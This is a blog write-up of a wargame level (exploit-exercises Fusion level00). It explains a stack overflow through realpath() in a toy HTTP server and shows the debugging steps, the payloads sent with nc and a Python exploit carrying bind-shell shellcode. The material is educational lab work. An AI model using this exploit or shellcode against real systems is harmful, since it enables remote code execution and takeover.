Wednesday, March 6, 2013

exploit-exercises Fusion: Level00

This is the write-up for level00, the first level in the Fusion exploitation wargame of exploit-exercises.
The source code of the vulnerable program is provided as follow:
#include "../common/common.c"

int fix_path(char *path)
{
  char resolved[128];

  if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open
  strcpy(path, resolved);
}

char *parse_http_request()
{
  char buffer[1024];
  char *path;
  char *q;

  printf("[debug] buffer is at 0x%08x :-)\n", buffer);

  if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host");
  if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request");

  path = &buffer[4];
  q = strchr(path, ' ');
  if(! q) errx(0, "No protocol version specified");
  *q++ = 0;
  if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");

  fix_path(path);

  printf("trying to access %s\n", path);

  return path;
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *p;

  background_process(NAME, UID, GID);
  fd = serve_forever(PORT);
  set_io(fd);

  parse_http_request();
}
The vulnerability in this challenge occurs in fix_path() function, where a buffer allocated on the stack (automatic variable) with a size of 128 bytes is passed to realpath(3). realpath() takes no buffer size parameter, and its only upper boundary is PATH_MAX value. On our plateform:
root@fusion:~/level00# grep PATH_ /usr/include/linux/limits.h
#define PATH_MAX        4096    /* # chars in a path name including nul */
In this case, overflowing the buffer on the stack is trivial. This could be easily fixed by passing NULL value as second argument, in which case, realpath() will call malloc(3) to allocate memory dynamically.

To exploit this vulnerability, we start by finding the offset to override the fix_path()'s return pointer.
root@fusion:~/level00# gdb -q -p `pgrep level00`
(gdb) set follow-fork-mode child
(gdb) break fix_path

Breakpoint 1 at 0x804981e: file level00/level00.c, line 7.

On the attacker side:
kroosec@doj:~$ python -c "print 'GET /' + 'A'*131 + 'BBBB' + 'CCCC' + 'DDDD' + '
HTTP/1.1 EEEEEEEEEEE'" | nc 192.168.25.2 20000

Continuing with our program:
(gdb) continue
[...]
(gdb) p &resolved
$2 = (char (*)[128]) 0xbffff850
(gdb) x/2wx $ebp
0xbffff8d8: 0xbffffd08  0x08049970
(gdb) p 0xd8 + 0x4 - 0x50
$3 = 140
We will unsurpringly segfault on 0x44444444 (DDDD) memory access.
(gdb) continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x44444444 in ?? ()
In other words, we have 140 bytes of path as offset before overwriting the return
value.
Questions remaining are, where to return, and to what.
"Where ?"'s answer starts the debug message.
[debug] buffer is at 0xbffff8f8 :-)
Taking into account the offset and other values such as GET, HTTP/1.1 etc,. we
can control the input freely after 158 bytes.
(gdb) p/x 0xbfffff8f8 + 158
$5 = 0xbfffff996
Demonstrated with this payload.
kroosec@doj:~$ python -c "print 'GET /' + 'A'*131 + 'BBBB' + 'CCCC' +
'\x96\xf9\xff\xbf' + ' HTTP/1.1 '+'\xcc'+'DDDDDDDDDDDDD'" | nc 192.168.25.2 20000
(gdb) continue
Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff997 in ?? ()
The "what?"'s answer is "Shellcode!"
We will simply use one from a previously solved challenge in Protostar wargame.
One small alteration, we will add is change /etc/traditional/nc symbolic link to
point to nc.traditional instead of nc.openbsd.
root@fusion:~# ln -f -s /bin/nc.traditional /etc/alternatives/nc
And the Python script to generate the whole payload.
kroosec@doj:~$ cat pay00.py
#!/usr/bin/env python

get = 'GET '
path = '/'+ 'A' * 139
ret = '\xa6\xf9\xff\xbf'
proto = ' HTTP/1.1'
nop = '\x90' * 30
shellcode  =  "\x31\xc0\x50\x68\x6e\x2f\x6e\x63"
shellcode +=  "\x68\x2f\x2f\x62\x69"
shellcode +=  "\x89\xe3\x50\x68\x36\x36\x36\x36\x68\x2d"
shellcode +=  "\x6c\x74\x70\x89\xe2\x50\x68\x6e\x2f\x73\x68"
shellcode +=  "\x68\x2f\x2f\x62\x69\x66\x68\x2d\x65\x89\xe1"
shellcode +=  "\x50\x51\x52\x53\x89\xe6\xb0\x0b\x89\xf1\x31"
shellcode +=  "\xd2\xcd\x80"

payload = get + path + ret + proto + nop + shellcode
print payload
Wrapping-up everything.
kroosec@doj:~$ python pay00.py | ncat 192.168.25.2 20000 &
[1] 5062
kroosec@doj:~$ ncat 192.168.25.2 6666
id
uid=20000 gid=20000 groups=20000
That is for level00!

No comments:

Post a Comment